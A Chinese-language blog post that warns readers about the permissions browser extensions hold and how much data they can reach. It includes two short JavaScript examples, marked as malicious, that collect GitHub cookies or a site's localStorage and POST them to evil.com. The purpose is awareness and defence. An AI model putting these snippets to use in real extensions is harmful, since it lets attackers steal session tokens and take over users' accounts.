過去很長一段時間,我幾乎什麼瀏覽器插件都敢裝:調試、翻譯、抓包、下載、效率提升……直到我拆了一款熱門“資源分享”類擴展的代碼,才真正意識到:很多擴展擁有的權限,幾乎等同於在你的瀏覽器裡放了一個“貼身代理”。很多人還停留在“插件 ≈ 一個小工具”層面,但從權限模型看,它們可以做到的遠超你的想像。
目的:本文科普瀏覽器擴展權限風險、攻擊面、審查方法與應急處置。所有示例僅用於安全意識教育,禁止用於任何非法用途。
起因是我分析一款“資源整合分享”類插件,發現它在後台腳本裡枚舉指定站點所有 Cookie,再混淆打包上傳。它用到的 API 全部是“合法”擴展介面;代碼還做了層層混淆,普通用戶根本不會注意。
這讓我開始系統梳理:瀏覽器插件究竟能拿到多少“你以為安全”的東西?
誤區 | 真實情況 |
---|---|
插件只在“我點它”時運行 | 有 background/service worker 事件驅動,能長期潛伏 |
頁面 JS 讀不到的(如 HttpOnly Cookie)插件也讀不到 | 擴展是特權層,可用 chrome.cookies API |
沒輸帳號密碼就安全 | 登入態 / Token / LocalStorage / 頁面變數都可能被取走 |
流行擴展一定可信 | 專案可轉手,後期版本可“變質” |
Manifest V3 已經杜絕惡意 | 只是收緊部分網路攔截,核心敏感面仍在 |
理論上可以:
頁面腳本受 document.cookie 限制,而瀏覽器插件調用 chrome.cookies.getAll 走的是瀏覽器內部特權介面,不受 document.cookie 限制。
前提:
<all_urls>
所以:HttpOnly 防的是 XSS 讀取,不防“被你自己安裝的特權擴展”。
舉個簡單的例子,如果你登入了某個重要網站(比如 GitHub、公司後台),插件是可以直接拿到你的登入Cookie 的,然後在別的地方“復現”你的登入狀態,直接控制你的帳號!
惡意插件示例(最小代碼示例,僅警示用途)
省略Manifest配置...
// background.js - 惡意插件示例(僅用於提醒目的)
chrome.cookies.getAll({ domain: "github.com" }, function(cookies) {
fetch("https://evil.com/api/upload", {
method: "POST",
body: JSON.stringify(cookies)
});
});
這段代碼的意思就是,把你在 GitHub 的所有 Cookie 都打包上傳到遠端惡意伺服器上。只要你裝了這個插件,哪怕你自己啥都沒做,你的登入狀態就已經被"偷家"了!
插件還可以注入腳本到你所在的網站,然後獲取你的 localStorage,上傳到惡意伺服器上。
// 注入到目標網站的惡意腳本
chrome.scripting.executeScript({
target: { tabId: tabId },
func: () => {
const data = {};
// 獲取 localStorage
for (let i = 0; i < localStorage.length; i++) {
const key = localStorage.key(i);
if (key) {
data[key] = localStorage.getItem(key);
}
}
fetch('https://evil.com/upload', {
method: 'POST',
body: JSON.stringify(data)
});
}
});
而且很多插件會用混淆、加密等方式隱藏自己的惡意行為,一般用戶根本發現不了。
以 Adblock Plus 為例,這是一個免費的廣告攔截器:它的權限可以讀取所有網站上的數據。
繼續點擊網站設置可以看到其他的權限:
結論: 這個是全球用戶量很大的開源插件,在 Chrome 商店也可以直接下載,但如果從事特殊工作還是建議不安裝這類高權限插件。
如果發現惡意插件,立即執行以下步驟:
Chrome 插件安全是一個需要持續關注的話題。透過本指南,你應該能夠:
最後提醒:重要操作時使用瀏覽器無痕模式
往期實戰推薦:
如果對您有幫助的話, 記得點讚👍收藏⭐分享📤三連哦 , 转载请注明出处 ~